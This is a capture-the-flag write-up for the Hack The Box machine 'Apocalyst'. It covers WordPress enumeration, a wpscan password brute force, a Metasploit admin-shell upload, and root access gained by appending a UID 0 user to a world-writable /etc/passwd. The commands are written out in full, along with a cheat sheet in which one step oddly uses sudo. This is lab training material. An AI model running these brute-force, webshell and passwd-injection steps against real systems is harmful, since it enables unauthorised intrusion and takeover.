Hack The Box - Apocalyst

🎯 Objective

Gain initial access to the WordPress host and escalate privileges to root. Capture user and root flags.

Difficulty: Easy/Medium (user), Medium (root)
Hostnames: apocalyst.htb
Goal: Obtain user + root

🧭 Summary

• WordPress site hiding behind a single image landing page.
• Directory discovery + handling 301 vs trailing-slash revealed a hidden path.
• Steg extraction yielded a wordlist; wpscan brute-forced credentials for falaraki.
• Initial shell via wp_admin_shell_upload Metasploit module.
• Priv-esc via world-writable /etc/passwd by injecting a UID 0 user and su to root.

🛠️ Environment & Setup

Add host to /etc/hosts:

echo "10.10.10.46 apocalyst.htb" | sudo tee -a /etc/hosts

Run background directory brute force while scanning:

dirb http://apocalyst.htb /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

🔎 Reconnaissance

Nmap

nmap -A -sC -sV -oA initial 10.10.10.46

Full port sweep:

nmap -p- -oA ports 10.10.10.46

No extra services found.

Landing page was just an image:

Basic discovery indicates WordPress:

🧭 Enumeration Tricks

301 vs Trailing Slash

Many paths returned the same image unless the trailing slash was handled correctly. Without slash → 301, with slash → 200.

Gobuster config to handle that nuance:

Generate a custom wordlist with cewl (depth default to keep it fast):

cewl http://apocalyst.htb -w /home/xsisec/Desktop/Apocalyst/cewl.txt

Run gobuster with the generated list and keep results incl. body length:

gobuster dir -u http://apocalyst.htb -w /home/xsisec/Desktop/Apocalyst/cewl.txt -f -l | tee gobuster.txt
# filter noise
cat gobuster.txt | grep -v 'Size: 157'

Hit: /Rightiousness/ (200) → page source contained a downloadable file:

Extract with steghide (no passphrase used):

This yielded a wordlist used later for brute-force.

🔐 Credential Discovery

Enumerate WordPress users + brute force with wpscan:

wpscan --url apocalyst.htb -U falaraki -P /home/xsisec/Desktop/Apocalyst/list.txt

Alternative learning with hydra (handy for form logins):

Creds found: falaraki : Transclisiation

🪵 Initial Access

Login to wp-admin and attempt simple code exec via 404.php template (worked for directory listing but not stable shell).
Escalate to a reliable webshell using Metasploit:

use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 10.10.10.46
set USERNAME falaraki
set PASSWORD Transclisiation
run

Grab user flag.

⬆️ Privilege Escalation

Upload and run LinEnum.py or similar to scout privilege-escalation vectors:

Critical finding: /etc/passwd world-writable (😱).

Generate an MD5-crypt password hash and craft a root-equivalent entry:

openssl passwd -1 -salt xsisec 1234
# -> $1$xsisec$cmPKNAv2.AWbqWLKxbI4H.

Append to /etc/passwd (UID 0 → root privileges):

xsisec:$1$xsisec$cmPKNAv2.AWbqWLKxbI4H.:0:0:root:/root:/bin/bash

Switch user:

su xsisec
# password: 1234

Rooted 🎉

📌 Notes & Lessons Learned

• Handle 301 vs trailing slash during enumeration; body-length filtering is useful.
• cewl + gobuster combo is great for content-derived wordlists.
• wpscan shines for WP user/password brute-force.
• Metasploit wp_admin_shell_upload is a fast path to RCE with valid creds.
• A world-writable /etc/passwd is game over—always check file perms via LinEnum/LinPEAS.

🧾 Command Cheat Sheet

# Recon
nmap -A -sC -sV -oA initial 10.10.10.46
nmap -p- -oA ports 10.10.10.46
dirb http://apocalyst.htb /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://apocalyst.htb -w /home/xsisec/Desktop/Apocalyst/cewl.txt -f -l | tee gobuster.txt
cat gobuster.txt | grep -v 'Size: 157'
cewl http://apocalyst.htb -w /home/xsisec/Desktop/Apocalyst/cewl.txt

# WP brute-force
wpscan --url apocalyst.htb -U falaraki -P /home/xsisec/Desktop/Apocalyst/list.txt

# Shell (Metasploit)
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 10.10.10.46
set USERNAME falaraki
set PASSWORD Transclisiation
run

# Priv-esc
openssl passwd -1 -salt xsisec 1234
echo 'xsisec:$1$xsisec$cmPKNAv2.AWbqWLKxbI4H.:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
su xsisec

🖼️ Screenshots

✅ Outcome

• User: obtained via wp-admin webshell.
• Root: obtained by writing a UID 0 user entry to /etc/passwd and su to it.